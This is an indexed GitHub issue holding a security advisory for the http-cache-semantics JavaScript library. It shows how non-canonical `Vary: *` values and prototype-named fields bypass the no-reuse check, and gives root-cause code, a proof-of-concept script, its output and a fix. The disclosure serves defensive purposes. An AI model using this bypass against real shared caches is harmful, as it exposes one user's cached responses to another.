kornelski / kornelski/http-cache-semantics

Security Advisory: `Vary: *` reuse prohibition bypassed by whitespace/list forms and prototype field names

Open
#57 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
260
Forks
34
PR merge metrics
No merged PRs in 30d

Description

## Summary

| Attribute | Value |
|-----------|-------|
| **Vendor / Org** | kornelski |
| **Product** | http-cache-semantics |
| **Component** | `_varyMatches` (index.js) |
| **Affected Versions** | `<= 4.1.1` (present on `main`) |
| **Severity** | Medium |
| **CVSS 3.1 Score** | 5.9 (Medium) |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` |
| **CWE** | CWE-436 (Interpretation Conflict) |
| **Affected File** | `index.js:293-304` |

---

## CVSS 3.1 Breakdown

**Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` — **Score:** `5.9 (Medium)`

| Metric | Value | Justification (from the PoC) |
|--------|-------|------------------------------|
| Attack Vector (AV) | N | Any HTTP client of the shared cache |
| Attack Complexity (AC) | H | Requires the origin to emit a non-canonical `Vary: *` form or a prototype-colliding field name |
| Privileges Required (PR) | N | None |
| User Interaction (UI) | N | None |
| Scope (S) | U | Within the cache component |
| Confidentiality (C) | H | A response the origin marked never-reusable is served to a different client |
| Integrity (I) | N | — |
| Availability (A) | N | — |

---

## Description

An interpretation conflict in `_varyMatches` of kornelski/http-cache-semantics `<= 4.1.1` lets a stored response the origin marked `Vary: *` (never reuse) be served to a different client whenever the header is written in a whitespace or trailing-comma form such as `"* "`, `" *"`, or `"*,"`, or when the `Vary` field name resolves through the JavaScript prototype chain (e.g. `Vary: constructor`). The `Vary: *` block is an exact string equality check (`this._resHeaders.vary === '*'`), so any value that is semantically `*` but not byte-identical falls through to per-field matching. For the whitespace/comma forms the split produces a `*` (or empty) field whose header value is `undefined` on both sides and therefore compares equal; for `constructor` both `req.headers` and the stored map inherit the same prototype value and also compare equal. In each case the vary check returns `true` and the origin's "do not reuse" instruction is ignored.

---

## Root Cause

```js
// index.js:287-305
_varyMatches(req) {
if (!this._resHeaders.vary) return true;
if (this._resHeaders.vary === '*') return false; // exact match only
const fields = this._resHeaders.vary.trim().toLowerCase().split(/\s*,\s*/);
for (const name of fields) {
if (req.headers[name] !== this._reqHeaders[name]) return false;
}
return true;
}
```

Two defects: the `'*'` guard is exact-string, so `'* '`/`'*,'`/`' *'` skip it; and the per-field comparison indexes `req.headers[name]` without an own-property check, so field names that are `Object.prototype` members (`constructor`, `hasOwnProperty`) resolve to inherited values that are equal on both operands and match vacuously.

---

## Reproduction Environment

| Item | Value |
|------|-------|
| **Runtime** | Node.js v26.5.0 |
| **http-cache-semantics** | 4.1.1 |
| **OS** | macOS (darwin 25.6.0) |
| **Build tool** | npm |

---

## Proof of Concept

### POC Source Code

#### package.json
```json
{
"name": "hcs-poc",
"version": "1.0.0",
"private": true,
"dependencies": { "http-cache-semantics": "4.1.1" }
}
```

#### poc4_vary.js
```js
'use strict';
const CachePolicy = require('http-cache-semantics');

const clientA = { method: 'GET', url: '/p', headers: { host: 'h', 'accept-encoding': 'gzip' } };
const clientB = { method: 'GET', url: '/p', headers: { host: 'h', 'accept-encoding': 'br' } };

function test(name, varyValue) {
const p = new CachePolicy(clientA, {
status: 200, headers: { 'cache-control': 'max-age=600', vary: varyValue },
});
const served = p.satisfiesWithoutRevalidation(clientB);
console.log(`vary=${JSON.stringify(varyValue).padEnd(24)} served-to-different-client=${served}`);
return served;
}

console.log('=== exact "*" (control) ===');
test('control', '*');
console.log('\n=== whitespace / trailing-comma forms ===');
test('trailing-comma', '*,');
test('trailing-space', '* ');
test('leading-space', ' *');
console.log('\n=== prototype-resolving field name ===');
const q = new CachePolicy(clientA, {
status: 200, headers: { 'cache-control': 'max-age=600', vary: 'constructor' },
});
console.log('vary=constructor served-to-different-client:', q.satisfiesWithoutRevalidation(clientB));
```

### Execution Steps
1. `mkdir poc && cd poc`
2. Save `package.json` above, run `npm i http-cache-semantics@4.1.1`
3. Save the source above as `poc4_vary.js`
4. `node poc4_vary.js`

**Expected output:** exact `"*"` is withheld (`false`); the whitespace/comma forms and `constructor` are served (`true`) to a client whose selecting header differs.

### Actual Execution Evidence
```
=== exact "*" (control) ===
vary="*" served-to-different-client=false

=== whitespace / trailing-comma forms ===
vary="*," served-to-different-client=true
vary="* " served-to-different-client=true
vary=" *" served-to-different-client=true

=== prototype-resolving field name ===
vary=constructor served-to-different-client: true
```

### Analysis of Results
The control (`vary: '*'`) is correctly withheld from clientB. The only change in each failing case is the byte form of the `Vary` value emitted by the origin; every semantically-`*` variant and the prototype field name flip the decision to `true`, serving clientB a response the origin said must never be reused across clients. This isolates the exact-string guard and the missing own-property check as the cause.

---

## Impact

A shared cache using this library can serve a response the origin explicitly marked `Vary: *` (or `Vary: `) to a client for whom it was not computed, when the origin uses a non-canonical whitespace form or a header name that collides with an `Object.prototype` member. `Vary: *` is the origin's strongest "never reuse this across requests" signal, commonly emitted for per-user content. The result is cross-client response disclosure decided by attacker-independent but origin-reachable header formatting.

---

## Remediation

### Recommended Fix
Normalize before the `*` test: split and trim first, then treat any field equal to `*` as the wildcard (`if (fields.includes('*')) return false;`). Guard the per-field lookup with `Object.prototype.hasOwnProperty.call(req.headers, name)` on both operands, or use a `null`-prototype map, so inherited names cannot match vacuously. This restores the documented `Vary` semantics the library already claims to implement ("It's aware of many tricky details such as the `Vary` header").

### Workaround
Consumers can canonicalize `Vary` to a bare `*` before storing, and reject responses whose `Vary` field names are not simple tokens.

---

## References
- Affected code: https://github.com/kornelski/http-cache-semantics/blob/master/index.js#L287
- CWE-436: https://cwe.mitre.org/data/definitions/436.html
- RFC 7234 §4.1 (Vary), RFC 7231 §7.1.4

Contributor guide

No contributing guide indexed for this repository

Research direction

Reproduce the behavior with the provided poc4_vary.js using Node.js, then inspect _varyMatches in index.js:287-305. Verify the wildcard and prototype-field cases against the documented Vary semantics. Done means the listed non-canonical wildcard and prototype-name cases are no longer reused for a different client while the exact '*' control remains withheld.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, node.js
Domain
backend, networking
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.